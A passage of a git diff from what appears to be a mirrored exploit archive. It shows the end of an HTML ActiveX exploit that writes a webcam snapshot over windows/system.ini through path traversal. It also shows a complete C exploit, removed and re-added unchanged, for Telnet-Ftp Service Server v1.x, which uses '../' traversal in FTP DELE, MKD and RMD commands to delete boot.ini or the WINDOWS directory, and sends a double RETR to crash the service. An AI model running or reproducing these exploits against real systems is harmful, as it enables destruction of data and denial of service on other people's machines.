+  sleep(2);
+  WebCamX1.SnapShotToFile("../../../../../../../../../../../windows/system.ini");
+  WebCamX1.SnapShotX();
+</script>    		
+</body>
+</html>
+
+# milw0rm.com [2009-02-16]
diff --git a/platforms/windows/remote/8273.c b/platforms/windows/remote/8273.c
index 4f3052799..3b9ac6fbd 100755
--- a/platforms/windows/remote/8273.c
+++ b/platforms/windows/remote/8273.c
@@ -1,186 +1,186 @@
-/*
-Telnet-Ftp Service Server v1.x
-------------------------------
-Multiple Vulnerability:
-			-Remote Creat File
-			-Remote Delet File
-			-Remote Creat Directory
-			-Remote Delet Directory
-			-Remote Get   File
-			-Remote Crash 
-
---------------------------------------------------------------------------------------------------------
-Arbitrary:
-----------
-A vulnerability is caused due to an input validation error when handling FTP "DELE","RETR","MKD","RMD"
-requests. This can be exploited to escape the FTP root and delete arbitrary files, get arbitrary files,
-creat arbitrary directory, or delete arbitrary directory on the system via directory traversal 
-attacks using the "../" character sequence.
-
-Remote Crash:
--------------
-The vulnerability is caused due to an error in handling the RETR command. This can be exploited to crash 
-the FTP service by sending the "RETR" command without sending the "PORT" command.
---------------------------------------------------------------------------------------------------------
-
-You can delet file boot.ini 	=> DELE ../../boot.ini
-You can get file boot.ini 	=> RETR ../../boot.ini
-You can creat Directory 	=> MKD ../../poc
-You can delet Directory		=> RMD ../../WINDOWS
-You can crash service 		=> (RETR 0)x2
-
-Author: Jonathan Salwan
-Mail  : submit [AT] shell-storm.org
-Web   : http://www.shell-storm.org
-*/
-
-#include "stdio.h"
-#include "unistd.h"
-#include "stdlib.h"
-#include "sys/types.h"
-#include "sys/socket.h"
-#include "netinet/in.h"
-
-int syntax(char *file)
-	{
-	fprintf(stderr,"\nTelnet-Ftp Service Server v1.x Multiple Vulnerability\n");
-	fprintf(stderr,"-----------------------------------------------------\n");
-	fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);
-	fprintf(stdout,"=>Option  : -df\t\tDelet File\n");
-	fprintf(stdout,"            -cd\t\tCreat Directory\n");
-	fprintf(stdout,"            -dd\t\tDelet Directory\n");
-	fprintf(stdout,"            -crash\tRemote Crash with Request RETR\n\n");
-	fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);
-	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);
-	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);
-	fprintf(stdout,"=>Crash   : %s 127.0.0.1 21 anonymous aaaa -crash\n\n", file);
-	exit(0);
-	}
-
-int main(int argc, char **argv)
-{
-	if (argc < 6)
-		syntax(argv[0]);
-	
-	int port = atoi(argv[2]);
-
-	int mysocket;
-	int mysocket2;
-	int srv_connect;
-	int sockaddr_long;
-
-
-		struct sockaddr_in sockaddr_mysocket;
-		sockaddr_long = sizeof(sockaddr_mysocket);
-		sockaddr_mysocket.sin_family = AF_INET;
-		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
-		sockaddr_mysocket.sin_port = htons(port);
-
-        char request[50];
-	char answer[100];
-
-        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
-
-                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
-                        if(mysocket2 == -1){
-                        fprintf(stderr,"[-]FAILED SOCKET\n");
-			return 1;}
-
-	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
-		
-	if (srv_connect != -1)
- 		{	
-
-		sprintf(request, "USER %s\r\n", argv[3]);		
-			if (send(mysocket2,request,strlen(request),0) == -1){
-				fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
-				shutdown(mysocket2,1);
-				return 1;}
-			else{
-				memset(answer,0,100);
-				recv(mysocket2,answer,sizeof(answer),0);
-			 }
-
-
-		sprintf(request, "PASS %s\r\n", argv[4]);
-                        if (send(mysocket2,request,strlen(request),0) == -1){
-                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
-                                shutdown(mysocket2,1);
-                                return 1;}
-                        else{ 
-				memset(answer,0,100);
-                                recv(mysocket2,answer,sizeof(answer),0);
-                                fprintf(stdout,"[+]>>%s",answer);
-                         }
-
-
-                sprintf(request, "SYST\r\n");
-                        if (send(mysocket2,request,strlen(request),0) == -1){
-                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
-                                shutdown(mysocket2,1);
-                                return 1;}
-                        else{
-                                memset(answer,0,100);
-                                recv(mysocket2,answer,sizeof(answer),0);
-                                fprintf(stdout,"[+]>>%s",answer);
-                         }
-
-			if(!strcmp(argv[5], "-df")){
-						sprintf(request, "DELE %s\r\n", argv[6]);
-							if (send(mysocket2,request,strlen(request),0) == -1){
-								fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");
-								shutdown(mysocket2,1);
-								return 1;}
-							else{ 
-								memset(answer,0,100);
-								recv(mysocket2,answer,sizeof(answer),0);
-								fprintf(stdout,"[+]>>%s",answer);
-							 }
-						}
-			if(!strcmp(argv[5], "-cd")){
-						sprintf(request, "MKD %s\r\n", argv[6]);
-							if (send(mysocket2,request,strlen(request),0) == -1){
-								fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");
-								shutdown(mysocket2,1);
-								return 1;}
-							else{ 
-								memset(answer,0,100);
-								recv(mysocket2,answer,sizeof(answer),0);
-								fprintf(stdout,"[+]>>%s",answer);
-							 }
-						}
-			if(!strcmp(argv[5], "-dd")){
-						sprintf(request, "RMD %s\r\n", argv[6]);
-							if (send(mysocket2,request,strlen(request),0) == -1){
-								fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");
-								shutdown(mysocket2,1);
-								return 1;}
-							else{ 
-								memset(answer,0,100);
-								recv(mysocket2,answer,sizeof(answer),0);
-								fprintf(stdout,"[+]>>%s",answer);
-							 }
-						}
-			if(!strcmp(argv[5], "-crash")){
-						sprintf(request, "RETR O\r\nRETR 0\r\n");
-							if (send(mysocket2,request,strlen(request),0) == -1){
-								fprintf(stderr,"[-]Send Request RETR\t\t[FAILED]\n");
-								shutdown(mysocket2,1);
-								return 1;}	 
-						}
-
-		}
-	else{
-		fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
-		shutdown(mysocket2,1);
-		return 1;}
-
-
-	shutdown(mysocket2,1);
-
-
-fprintf(stdout,"[+]Done!\n", argv[5]);
-return 0;
-}
-
-// milw0rm.com [2009-03-23]
+/*
+Telnet-Ftp Service Server v1.x
+------------------------------
+Multiple Vulnerability:
+			-Remote Creat File
+			-Remote Delet File
+			-Remote Creat Directory
+			-Remote Delet Directory
+			-Remote Get   File
+			-Remote Crash 
+
+--------------------------------------------------------------------------------------------------------
+Arbitrary:
+----------
+A vulnerability is caused due to an input validation error when handling FTP "DELE","RETR","MKD","RMD"
+requests. This can be exploited to escape the FTP root and delete arbitrary files, get arbitrary files,
+creat arbitrary directory, or delete arbitrary directory on the system via directory traversal 
+attacks using the "../" character sequence.
+
+Remote Crash:
+-------------
+The vulnerability is caused due to an error in handling the RETR command. This can be exploited to crash 
+the FTP service by sending the "RETR" command without sending the "PORT" command.
+--------------------------------------------------------------------------------------------------------
+
+You can delet file boot.ini 	=> DELE ../../boot.ini
+You can get file boot.ini 	=> RETR ../../boot.ini
+You can creat Directory 	=> MKD ../../poc
+You can delet Directory		=> RMD ../../WINDOWS
+You can crash service 		=> (RETR 0)x2
+
+Author: Jonathan Salwan
+Mail  : submit [AT] shell-storm.org
+Web   : http://www.shell-storm.org
+*/
+
+#include "stdio.h"
+#include "unistd.h"
+#include "stdlib.h"
+#include "sys/types.h"
+#include "sys/socket.h"
+#include "netinet/in.h"
+
+int syntax(char *file)
+	{
+	fprintf(stderr,"\nTelnet-Ftp Service Server v1.x Multiple Vulnerability\n");
+	fprintf(stderr,"-----------------------------------------------------\n");
+	fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);
+	fprintf(stdout,"=>Option  : -df\t\tDelet File\n");
+	fprintf(stdout,"            -cd\t\tCreat Directory\n");
+	fprintf(stdout,"            -dd\t\tDelet Directory\n");
+	fprintf(stdout,"            -crash\tRemote Crash with Request RETR\n\n");
+	fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);
+	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);
+	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);
+	fprintf(stdout,"=>Crash   : %s 127.0.0.1 21 anonymous aaaa -crash\n\n", file);
+	exit(0);
+	}
+
+int main(int argc, char **argv)
+{
+	if (argc < 6)
+		syntax(argv[0]);
+	
+	int port = atoi(argv[2]);
+
+	int mysocket;
+	int mysocket2;
+	int srv_connect;
+	int sockaddr_long;
+
+
+		struct sockaddr_in sockaddr_mysocket;
+		sockaddr_long = sizeof(sockaddr_mysocket);
+		sockaddr_mysocket.sin_family = AF_INET;
+		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
+		sockaddr_mysocket.sin_port = htons(port);
+
+        char request[50];
+	char answer[100];
+
+        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
+
+                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
+                        if(mysocket2 == -1){
+                        fprintf(stderr,"[-]FAILED SOCKET\n");
+			return 1;}
+
+	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
+		
+	if (srv_connect != -1)
+ 		{	
+
+		sprintf(request, "USER %s\r\n", argv[3]);		
+			if (send(mysocket2,request,strlen(request),0) == -1){
+				fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
+				shutdown(mysocket2,1);
+				return 1;}
+			else{
+				memset(answer,0,100);
+				recv(mysocket2,answer,sizeof(answer),0);
+			 }
+
+
+		sprintf(request, "PASS %s\r\n", argv[4]);
+                        if (send(mysocket2,request,strlen(request),0) == -1){
+                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
+                                shutdown(mysocket2,1);
+                                return 1;}
+                        else{ 
+				memset(answer,0,100);
+                                recv(mysocket2,answer,sizeof(answer),0);
+                                fprintf(stdout,"[+]>>%s",answer);
+                         }
+
+
+                sprintf(request, "SYST\r\n");
+                        if (send(mysocket2,request,strlen(request),0) == -1){
+                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
+                                shutdown(mysocket2,1);
+                                return 1;}
+                        else{
+                                memset(answer,0,100);
+                                recv(mysocket2,answer,sizeof(answer),0);
+                                fprintf(stdout,"[+]>>%s",answer);
+                         }
+
+			if(!strcmp(argv[5], "-df")){
+						sprintf(request, "DELE %s\r\n", argv[6]);
+							if (send(mysocket2,request,strlen(request),0) == -1){
+								fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");
+								shutdown(mysocket2,1);
+								return 1;}
+							else{ 
+								memset(answer,0,100);
+								recv(mysocket2,answer,sizeof(answer),0);
+								fprintf(stdout,"[+]>>%s",answer);
+							 }
+						}
+			if(!strcmp(argv[5], "-cd")){
+						sprintf(request, "MKD %s\r\n", argv[6]);
+							if (send(mysocket2,request,strlen(request),0) == -1){
+								fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");
+								shutdown(mysocket2,1);
+								return 1;}
+							else{ 
+								memset(answer,0,100);
+								recv(mysocket2,answer,sizeof(answer),0);
+								fprintf(stdout,"[+]>>%s",answer);
+							 }
+						}
+			if(!strcmp(argv[5], "-dd")){
+						sprintf(request, "RMD %s\r\n", argv[6]);
+							if (send(mysocket2,request,strlen(request),0) == -1){
+								fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");
+								shutdown(mysocket2,1);
+								return 1;}
+							else{ 
+								memset(answer,0,100);
+								recv(mysocket2,answer,sizeof(answer),0);
+								fprintf(stdout,"[+]>>%s",answer);
+							 }
+						}
+			if(!strcmp(argv[5], "-crash")){
+						sprintf(request, "RETR O\r\nRETR 0\r\n");
+							if (send(mysocket2,request,strlen(request),0) == -1){
+								fprintf(stderr,"[-]Send Request RETR\t\t[FAILED]\n");
+								shutdown(mysocket2,1);
+								return 1;}	 
+						}
+
+		}
+	else{
+		fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
+		shutdown(mysocket2,1);
+		return 1;}
+
+
+	shutdown(mysocket2,1);
+
+
+fprintf(stdout,"[+]Done!\n", argv[5]);
+return 0;
+}
+
+// milw0rm.com [2009-03-23]